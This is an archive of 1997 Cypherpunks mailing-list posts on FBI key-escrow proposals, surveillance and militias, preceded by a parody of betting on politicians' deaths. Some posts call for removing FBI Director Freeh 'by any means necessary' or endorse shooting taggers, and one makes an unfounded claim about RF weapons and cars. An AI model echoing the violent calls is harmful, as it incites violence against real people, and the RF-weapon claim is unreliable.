http://www3.sk.sympatico.ca/carljohn/AP/AP.htm
Remember: "You can't win if someone doesn't pay."

NOTICE: We regret that we cannot take any more bets on the death of
   the New World Order ruler until we lay some of them off with other
   AP betting agencies.

TID BITS: Congratulations to G-J B, the anonymous bettor from Edmonton,
   Alberta, who won this month's free AP T-shirt with his suggestion 
   that there should be a bonus prize for anyone who correctly predicts
   the date of death of any politician whose body is found with a note
   attached which says,
   "I think Congress/Parliament needs each of us to send ten copies of
    this back to them."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 5 Sep 1997 09:40:58 +0800
To: cypherpunks@Algebra.COM
Subject: clipper.csc.uvic.ca moved?
Message-ID: <199709050128.SAA11955@mail-gw3.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




Does anyone know if clipper.csc.uvic.ca has moved to another
location?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Sep 1997 23:06:45 +0800
To: cypherpunks@toad.com
Subject: Comparing encryption to airbags: both hurt the public
Message-ID: <Pine.GSO.3.95.970904073955.23728C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 4 Sep 1997 07:38:05 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Comparing encryption to airbags: both hurt the public



---------- Forwarded message ----------
Date: Thu, 4 Sep 1997 09:48:53 -0400
From: Julie DeFalco <defalco@cei.org>
To: declan@well.com
Subject: Airbags

Actually, the similarity between airbags and encryption is a good
comparison.  The public will be hurt by encryption controls, just as the
public has been hurt by airbags.

A few facts: Airbags were promoted by Joan Claybrook in the 1970s and 1980s
as a wonderful technology which worked for everybody from large males to
little children.  She claimed that they would save thousands and thousands
of lives each year, and that they would work for unbelted occupants.
Claybrook even pressured the manufacturers to use the technologies which she
now condemns today (don't get me started on Claybrook's mendacity on the
airbag issue.  She is a flat-out liar).

Well, while airbags have indeed saved some people who otherwise would have
died, they have not worked nearly as well as promised.  They specifically
hurt the weakest people in our society -- small children, short women, and
the elderly. They add about six hundred dollars to the price of new cars,
which encourages poorer people to keep older, possibly less safe cars
longer.  Now Claybrook even claims that airbags would work better if people
weren't "out of position" -- i.e. if they were wearing seatbelts, even
though the entire point of airbags was to provide "passive restraints"
because people didn't wear seatbelts.

Encryption controls will, like airbags, be far more dangerous to the public
than currently promoted.  And once given the power, it will be pretty
difficult, if not impossible, to take it away from government agencies.
Even with airbags documented as killing people, the government won't let us
have the choice whether to have them in the car at all.  The biggest
concession the government will make is allowing car companies to include an
on-off switch. This is why CEI will soon publish directions on our website
on how to dismantle your own airbags (well, as soon as we square away the
legal stuff).

Ciao! Julie
________________________________

Julie DeFalco
Policy Analyst
Competitive Enterprise Institute
1001 Connecticut Ave., NW
Suite 1250
Washington, DC 20036
(202) 331-1010
Fax: (202) 331-0640
http://www.cei.org







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 4 Sep 1997 14:00:04 +0800
To: cypherpunks@toad.com
Subject: Re: FBI calls for mandatory key escrow
Message-ID: <199709040540.HAA09266@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> Even the weaker form of Freeh's suggestion, that key escrow capabilities be
> forced into all Internet products, even if the use is "voluntary," seems to
> lack constitutional support. Could the Federal Trade Commission force all
> products to have such features? The Consumer Safety Products Commission?
> 
> I don't know where the authority for mandatory seat belts and  air bags is
> claimed to come from, either. Or helmet laws in various states. 

  The 'authority' comes, as always, from power and money.
  The "Drive 55" mandate is a perfect example of the government stealing
the citizen's money, then giving it back in the form of highway funding,
with the condition that those states who don't give up their right to
decide their own state laws don't get any cash.
  The greedy fucks feeding at the government troughs want to get their
hands on that money _now_, because there is no telling who will be ahead
of them in at the trough by the time the Constitutional issues are
settled.

  The bottom line is that the federal government gets their authority by
virtue of armed robbery, bribery and illegal seizure.
  Who is going to stop them? They have the guns! When our elected
officials
in Congress delved into the INSLAW affair, the Department of Justice
told
them to "Fuck off." and refused to cooperate with those who represent
the
citizens. Congress's reaction was to say, "Yup. They're defying us."
  Ipso facto--Congress is not running the country. The LEA's are running
the country. Go figure...

TruthMonger # -23A(Sub.C)-009





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Sep 1997 23:01:39 +0800
To: cypherpunks@toad.com
Subject: Re: Comparing encryption to airbags: both hurt the public
In-Reply-To: <Pine.GSO.3.95.970904074018.23728D-100000@well.com>
Message-ID: <Pine.GSO.3.95.970904074058.23728F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



That Subject: line should have been, of course, that airbags and crypto
controls both hurt the public. --Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 4 Sep 1997 14:13:32 +0800
To: cypherpunks@toad.com
Subject: Re: Militias
Message-ID: <199709040549.HAA09983@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> I just watched an hour-long special on CBS, "The Birth of a Militia," about
> the Rocky Mountain Militia is southern Utah.
> The militia member who was arrested, tried, and convicted of illegally
> owning a gun, evading the police, and driving without a license, apparently
> committed no serious crimes, by my standards. He didn't rob, he didn't
> rape, he didn't kill.
> 
> As the Sheriff was quoted several times as saying, he "mouthed off." And
> apparently being a "skinhead" and a "militia member" is ipso facto proof of
> criminality. The Sheriff said he planned to get Johnny.

  I watched the show and couldn't figure out exactly what the 'crimes'
were supposed to consist of. I eventually got the impression that the
real 'crime' was "intent to have a bad attitude."
  My basic read is that they are going to fuck with those they don't
like until their sense of human dignity forces them to make a stand,
and then they will murder them and use the event as more evidence of
our need to be protected from 'unauthorized' nuts with guns.

  I don't know about you, but I would much rather get murdered by an
'authorized' nut with a gun, than an 'unauthorized' nut with a gun.
It seems so much more civilized, somehow.
  When militia members leave for their meetings, do their mothers
remind them to put on clean underwear, in case they get murdered by
law enforcement agents? This is what cypherpunks enquiring minds
really want to know.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 4 Sep 1997 23:50:00 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls (fwd)
In-Reply-To: <3.0.2.32.19970903222635.007669e4@netcom10.netcom.com>
Message-ID: <199709041526.KAA22187@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970903222635.007669e4@netcom10.netcom.com>, on 09/03/97 
   at 10:26 PM, Lucky Green <shamrock@netcom.com> said:

>At 11:08 PM 9/3/97 -0400, Brian B. Riley wrote:
>> ... hmmmm,  immediate *lawful* decryption ... which implies that they 
>>plan to end run the Bill of Rights with some law that permits them to 
>>walk in and snoop on the spot ... right now to look at my mail which 
>>needs no key, just a teakettle, they at least have to stop somewhere and 
>>find a tame judge, which removes at least some of the immediacy.

>Finding a judge to sign an order to decrypt the email of a suspected
>child pornographer/drug dealer will take all of 30 minutes. I don't think
>a 30 minute delay will be of any consequence to the government's agenda.
>Not to mention that Freeh lied to Congress when he claimed that they
>would always use a court order. Even today, court orders are not always
>required for wiretaps. This will be no different for future "mandatory"
>or "involuntary" GAK.

>[BTW, does anybody here have any idea why Freeh might stated that he
>preferred "mandatory" GAK over "involutary" GAK? Just curious...]

Well I am not really worried about the "court approved" wiretaps as these
are only a small fraction of all surveillance currently being done by the
Government on it's citizens.

A much more worrisome issue is that of the FBI,CIA,NSA,et al having the
ability of driftnet fishing of communication. Once Big Brother takes an
interest in you its all over but the crying. Even if they can't get you on
what they want they will get you on something else. With current system we
are all felons under numerous laws (yes even you Kent) some are just less
aware of the fact than others.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNA7Fao9Co1n+aLhhAQGRWAQAvBxhxHIhy45qVS4D4+VB6KA5+lV7bPzl
uhBXYaKpmIfbjZsRgsRj3yGjlRkFwdXp9bzM5m1hFWKaagWtLANxZohb/TYY7K47
jsncXSuieqkfx6DId85vg7rkaUrAXToTCSl1NbM8zoNiaOAwWZ1+F8oW3H5pbVJO
NR7VjzTviX0=
=rtet
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Sep 1997 23:27:30 +0800
To: cypherpunks@toad.com
Subject: Freeh is Marked for Deletion
In-Reply-To: <1.5.4.32.19970904132738.0071dd00@pop.pipeline.com>
Message-ID: <v03102806b0347d239bf3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:43 AM -0700 9/4/97, Declan McCullagh wrote:
>The article says:
>
>   September 4, 1997
>   Encryption Tops Wide-Ranging Net Agenda in Congress
>   By JERI CLAUSING
>
>   WASHINGTON -- As Congress returns from its summer break this week, it
>   faces a host of legislative initiatives that could shape the future of
>   online privacy, commerce and jurisdiction.
>
>   Topping the agenda is encryption, an issue that has pitted President
>   Clinton and his top crime fighters against virtually everybody else.
>
>I think that's basically right. Who else (besides perhaps local and state
>"crime fighters," the spooks, and some key escrow-happy businesses)
>supports this policy?

Who supports this policy? All those who count in this democratic world:
NSA, FBI, NIST, DEA, FinCEN. BND, Mossad, GCHQ, DGSE, Annam, DIA, Chobetsu,
.....


We're in a state of war with these war criminals.

Freeh must be removed by any means necessary. His calling for mandatory (or
involuntary) key escrow marks him as unworthy of continued tenure. He is
marked for deletion.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Thu, 4 Sep 1997 23:32:47 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re: Big Brother is watching
In-Reply-To: <199709041247.IAA03203@mx02.together.net>
Message-ID: <3.0.3.32.19970904081607.00712e4c@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



At 08:47 AM 9/4/97 -0400, Brian B. Riley wrote:
>On 9/4/97 1:17 AM, Lucky Green (shamrock@netcom.com)  passed this wisdom:
>
>>BTW, just for the record, I believe that we live in a consumer society and
>>the People choose the government they want. The average person doesn't care
>>who thinks for them as long as they don't have to think for themselves and
>>can pretend to themselves that it was in fact they who did the thinking.
>
> .. among other things, I teach school. Mostly one on one tutoring and 
>occasional Calculus or Physics fill-in ... (nice when you already have a 
>pension to be able to work leisurely and play with your computer!) I am 
>in the process of rereading "Fahrenheit 451" - the recent printing  of 
>this in paperback features a Marquis that says somethig like "Now, more 
>relevant than ever" - as much as I hate having someone else tell me what 
>to think ... they certainly seem to be right. It has been over twenty 
>years since I read it and now ... it surely seems to be right on the path 
>mentioned above and then some ... William Lederer also had it right years 
>ago when he penned "A Nation of Sheep"

For another good read, try "The Truth Machine", by James L. Halperin.  It's
about a guy who invents Big Brother (a machine that can with 100% accuracy,
detect whether you are lying).  It's kind of scary, because Big Brother (in
the book) brings an end to war, world government, and general Utopia.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Other PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 4 Sep 1997 20:28:08 +0800
To: Tim May <tcmay@got.net>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
In-Reply-To: <v03102803b033e4efd9b4@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970904081606.24851A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Freeh did not mention banning existing programs. He did, however, talk
about restricting what was distributed, sold, and imported.

Even so, it only takes one intrepid staffer to add a word to the bill that
would include an "or possessed" clause in it. A "per se" rule against
crypto!

-Declan


On Wed, 3 Sep 1997, Tim May wrote:

> As I understand what Freeh said, not even he is talking about banning
> existing programs. Rather, he's talking about requiring the "capability" be
> added to Internet programs (presumably browsers, mail programs, etc.). It's
> obvious that one could use an old word processor, editor, PGP, etc., and
> then paste the text into the Freeh-approved Internet program. What would
> the status be of this?
> 
> (In other words, it would be a truly draconian move to try to ban all
> encrypted messages.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Thu, 4 Sep 1997 22:02:32 +0800
To: shamrock@netcom.com>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls (fwd)
In-Reply-To: <Pine.3.89.9709031718.A18984-0100000@netcom2>
Message-ID: <Chameleon.873376795.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky, 

I think your observation below is an excellent illustration of why support 
or opposition to GAK must be a binary decision. Either you are for free 
speech, or you are not. There is no middle ground because middle ground 
will not satisfy a feral government. They will eventually demand full, 
immediate access to cleartext of all encrypted message, regardless of any 
public statements meant to appease opposition to incrementalist steps, 
because without it, they essentially have nothing. 

It is worth noting that when you look behind the curtain, you see a feral 
government that does not believe you have the right to private thoughts.



> Sometimes these guys can still surprise even me. That statement below is 
> about as blatant as it gets:
> 
> [Freeh]
> There are a number of ways that that could be
> implemented, but what we believe we need as a minimum
> is a feature implemented and designed by the
> manufacturers of the products and services here that
> will allow law enforcement to have an immediate lawful
> decryption of the communications in transit or the
> stored data.  That could be done in a mandatory
> manner.  It could be done in an involuntary manner.
> But the key is that we have the ability.
> --------------------------------------------------------------
> 
> 
> Let me get this straight: they need *as a minimum* instant access to all 
> cleartext. So what is the "more than minimum" they truly desire?
> 
> And the two alternatives Freeh proposes to obtain this *minimum* are 
> either "mandatory" or "involuntary". What a choice!
> 
> --Lucky
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/04/97
Time: 08:33:41
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Thu, 4 Sep 1997 21:59:43 +0800
To: shamrock@netcom.com>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls (fwd)
In-Reply-To: <199709040308.XAA30508@mx02.together.net>
Message-ID: <Chameleon.873377267.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> I noticed that strange air bag analogy myself. Clearly, Freeh and his
> puppet masters are trying to skew the discussion towards "public safety".
> Of course, requiring GAK is more like requiring a remote kill switch in 
the
> ignition of all new cars so cops can just type a license plate number 
into
> their terminal to halt a fleeing car. [BTW, such kill switches will be
> required before long. I trust we all know this].

Already implemented actually. All modern automobiles have a rather 
respectable amount of computing power that is vulnerable to directed radio 
frequency weapons, whose effect to microelectronics is similar to an 
electromatic pulse. =This= is what is driving the push to get older 
vehicles off the road, not environmentalist's arguments about 'global 
warming'.

> Frankly, I don't care if they outlaw crypto. We'll just glue stego on top
> of it. And Joe Sixpack couldn't care less. Nor do I care if Joe Sixpack
> wants to be spanked by his wife or plungered by his government. It's his
> choice.


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/04/97
Time: 08:43:59
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 4 Sep 1997 20:59:57 +0800
To: "Lucky Green" <cypherpunks@Algebra.COM>
Subject: Re: Big Brother is watching
Message-ID: <199709041247.IAA03203@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 9/4/97 1:17 AM, Lucky Green (shamrock@netcom.com)  passed this wisdom:

>BTW, just for the record, I believe that we live in a consumer society and
>the People choose the government they want. The average person doesn't care
>who thinks for them as long as they don't have to think for themselves and
>can pretend to themselves that it was in fact they who did the thinking.

 .. among other things, I teach school. Mostly one on one tutoring and 
occasional Calculus or Physics fill-in ... (nice when you already have a 
pension to be able to work leisurely and play with your computer!) I am 
in the process of rereading "Fahrenheit 451" - the recent printing  of 
this in paperback features a Marquis that says somethig like "Now, more 
relevant than ever" - as much as I hate having someone else tell me what 
to think ... they certainly seem to be right. It has been over twenty 
years since I read it and now ... it surely seems to be right on the path 
mentioned above and then some ... William Lederer also had it right years 
ago when he penned "A Nation of Sheep"


Brian B. Riley --> http://www.macconnect.com/~brianbr
       For PGP Keys -  Send Email Subject "Get PGP Key"
 "...Those of you who turned your swords into plowshares will soon
  find yourselves under the yokes of those of us who kept our swords..." 
      -- author unknown






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 4 Sep 1997 20:53:51 +0800
To: "Tim May" <cypherpunks@Algebra.COM>
Subject: Re: Big Brother is watching
Message-ID: <199709041247.IAA03206@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 9/4/97 12:51 AM, Tim May (tcmay@got.net)  passed this wisdom:

>At 8:28 PM -0700 9/3/97, Sean Roach wrote:
>>At 03:43 AM 9/4/97 +0200, Anonymous wrote:
>>...
>>>>With this wonderful sucess, We can all look forward to this items being
>>>>placed in our domiciles in order to further protect us from crime.
>>>
>>>And I'll give my kids a can of spray paint and a ladder. Maybe I'll offer
>>>bonus prizes if they can figure out an inventive, undetectable way to 
disable
>>>the fucker.
>>...
>>In Altus, it is illegal to sell spray paint to persons under the age of 18.
>>That makes two violations of their rights that I know of.
>>The curfue which was enacted a couple years ago being the first.
>>All because the local politicians are fully aware that they are too young to
>>vote.
>
>In my community, it is even illegal to buy spray paints and give them or
>make them available to those under some age (18 or 21...I don't know).
>
>I like my solution a lot better: anyone can buy the fucking spray paint,
>but taggers are shot down by those whose property they're trespassing on.
>
>Seems consistent with personal freedom and responsibility.

 I don't know if the law is still on the books, but when I was an 
undergrad at Univ of Penn in the 60's you could not buy a water 
pistol/squirtgun of any kind, because there had been some incidents where 
people were squirted in the face with ammonia bu a couple of miscreants, 
so the city council took it upon themselves to 'protect' us all!


Brian B. Riley --> http://www.macconnect.com/~brianbr
      For PGP Keys -  Send Email Subject "Get PGP Key"
  "The more you run over a dead cat, the flatter it gets!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Thu, 4 Sep 1997 22:27:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: We have a WINNER!!!
In-Reply-To: <340E82AD.3723@dev.null>
Message-ID: <Chameleon.873378462.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain





------------------------
  From: Dead Lucky <dl@dev.null>
  Subject: We have a WINNER!!! 
  Date: Thu, 04 Sep 1997 03:43:09 -0600 
  To: cypherpunks@toad.com


> Dead Lucky
>                            ----------
>                        AP Lotto Enterprises
>            (A Subdivision of the Reformatory Party of Canada)
> 
>                         Unlucky in Life?
>                      Try your luck at Death!
>   If you can correctly predict the date and time of death of others
>  then you can win large prizes payable in untaxable, untraceable eca$h.
>                                   ----------

too good. saved for those clueful enough to understand the real humor of 
the post.

excellent spoof DL whoever you are.

My question, which is moderately relavant to the list, is exactly where one 
can obtain "untaxable, untraceable eca$h" From what I understand, we don't 
quite have that yet. Maybe I missed something.



---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/04/97
Time: 09:04:15
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 5 Sep 1997 00:36:42 +0800
To: Blanc <cypherpunks@Algebra.COM
Subject: Re: Smoking and IDs
In-Reply-To: <3.0.32.19970904013123.006e0204@cnw.com>
Message-ID: <v03007819b0348c93d7a2@[207.94.249.183]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:32 AM -0700 9/4/97, Blanc wrote:
>Another odd thing is how popular cigars have become lately.  Last month I
>bought a copy of "Cigar Aficionado" magazine to peruse, even though I don't
>smoke, because it was so pretty :>) and spent quite some time looking at
>their web site.   It is a curious matter that when one "vice" is squelched,
>another grows in its place.   This magazine really emphasizes living "the
>good life", and I discovered that there are places springing up all over
>the U.S. (and I expect elsewhere) which are smoking clubs - people can
>actually go there just to smoke their cigar, perhaps with a glass of
>after-dinner liquor.    I thought this was a great idea, myself, because
>here these people can be with others who enjoy the same activity, and
>there's no one outside who can complain (not yet, anyway).

My interpretation is that many people are fed up with the anti-smoking
Nazis.  The most "in your face" form of smoking is cigars.  So they smoke
cigars.  The hard core smoke Cuban cigars.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 4 Sep 1997 22:03:37 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
Message-ID: <1.5.4.32.19970904132738.0071dd00@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The on-line NYT's claim today that everyone except the 
administration is opposed to its crypto policy is daring
hyperbole. What's your take on that?

  http://jya.com/crypto-tops.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 4 Sep 1997 22:03:29 +0800
To: John Young <jya@pipeline.com>
Subject: Re: FBI calls for mandatory key escrow; Denning on export ctrls
In-Reply-To: <1.5.4.32.19970904132738.0071dd00@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970904094034.24851D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



The article says:

   September 4, 1997
   Encryption Tops Wide-Ranging Net Agenda in Congress
   By JERI CLAUSING

   WASHINGTON -- As Congress returns from its summer break this week, it
   faces a host of legislative initiatives that could shape the future of
   online privacy, commerce and jurisdiction.

   Topping the agenda is encryption, an issue that has pitted President
   Clinton and his top crime fighters against virtually everybody else.

I think that's basically right. Who else (besides perhaps local and state
"crime fighters," the spooks, and some key escrow-happy businesses) 
supports this policy?

-Declan


On Thu, 4 Sep 1997, John Young wrote:

> The on-line NYT's claim today that everyone except the 
> administration is opposed to its crypto policy is daring
> hyperbole. What's your take on that?
> 
>   http://jya.com/crypto-tops.htm
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 5 Sep 1997 01:09:41 +0800
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: Krispin Preaches Revolution!
In-Reply-To: <19970829093945.49609@bywater.songbird.com>
Message-ID: <v03102800b03495534090@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:37 AM -0700 9/4/97, Duncan Frissell wrote:

>None of us have had time to become Bitter Old Revolutionary Extremists yet.
>Tim and I am members of the same birth cohort.  He tends towards depression
>and I tend towards optimism but both of us have seen quite a few changes over

I prefer the term "pessimism" to "depression." The opposite of optimistic
is pessimistic, not depressed, which has a clinical sound to it.


>Conquering an "anarchy" is hard enough because of the lack of anyone to
>surrender.  Conquering an "anarchy" that is springing up all around you at
>the "speed of business" or in "net time" is even harder.  The only tactical
>option that would work for our rulers in the current political situation is
>to "nuke us back to the stone age" so that they could regain their
>traditional force ratios.

And this is what I think they may try: a global crackdown to try to stamp
out the wildfire of anarchocapitalism before it spreads beyond any hope of
control.

Our opponents understand full well the power of strong crypto and
unassailable privacy to facillitate this kind of anarchy and this kind of
voluntary, self-selected, virtual communities.

They understand, we understand, and even some in the media understand. The
politicians don't, for the most part.

Louis Freeh is no dummy. He understands the power struggle. But he has to
speak babytalk to Feinswine and Kyl to let them glimpse what the issues are.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stonedog@ns1.net-gate.com
Date: Thu, 4 Sep 1997 22:06:27 +0800
To: cypherpunks@toad.com
Subject: Re: Big Brother is watching
In-Reply-To: <Pine.LNX.3.95.970903155835.15333E-100000@sulaco.proxicom.com>
Message-ID: <Pine.BSI.3.93.970904093937.26315A-100000@ns1.net-gate.com>
MIME-Version: 1.0
Content-Type: text/plain



Interesting. In NJ, where I have had the misfortune of living, "being able
to face your accuser" means that if the cop doesn't show you have to
reschedule and keep rescheduling until he _does_ show. For this reason, I
had assumed that the "no cop, no case" clause was simply hopeful urban
legend.

I tend to be cynical, here in NJ, where I have to pass through a police
roadblock every day on my way to work, and a different one every evening.
Literally. Every day. In less than a mile of State Route 73, if that ever
helps anyone.

If nothing else, we live in a "traffic police state".

-stonedog


On Wed, 3 Sep 1997, Nate Sammons wrote:

> On Wed, 3 Sep 1997, Chip Mefford wrote:
> > Nate wrote;
> > 
> > Isn't there a wierd clause about being able to face your accuser??? Yeah, I
> > know, I live in a fantasy world.
> > 
> > luv
> > chipper
> > 
> 
> Yes... in CO you can take them to court, and if the cop doesn't show up, you
> get off free.  I dunno about VA (just moved here 2 months ago).
> 
> In CO, you're supposed to be able to ask the cop if you can see the radar
> gun that clocked you, and if it's been cleared or the cop won't show it to
> you, you cannot be ticketed.  By law, the cop *must* have a visual estimate
> of your speed, and a clocked speed on a gun of some kind (a friend of mine is
> a Sheriff in southern CO), but they apparently don't tell that to anyone.
> 
> -nate
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 5 Sep 1997 01:22:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother is watching
In-Reply-To: <2bb492db8556543171a4af60b2cea4ed@anon.efga.org>
Message-ID: <v03102801b03496e99ff3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:03 AM -0700 9/4/97, Anonymous wrote:
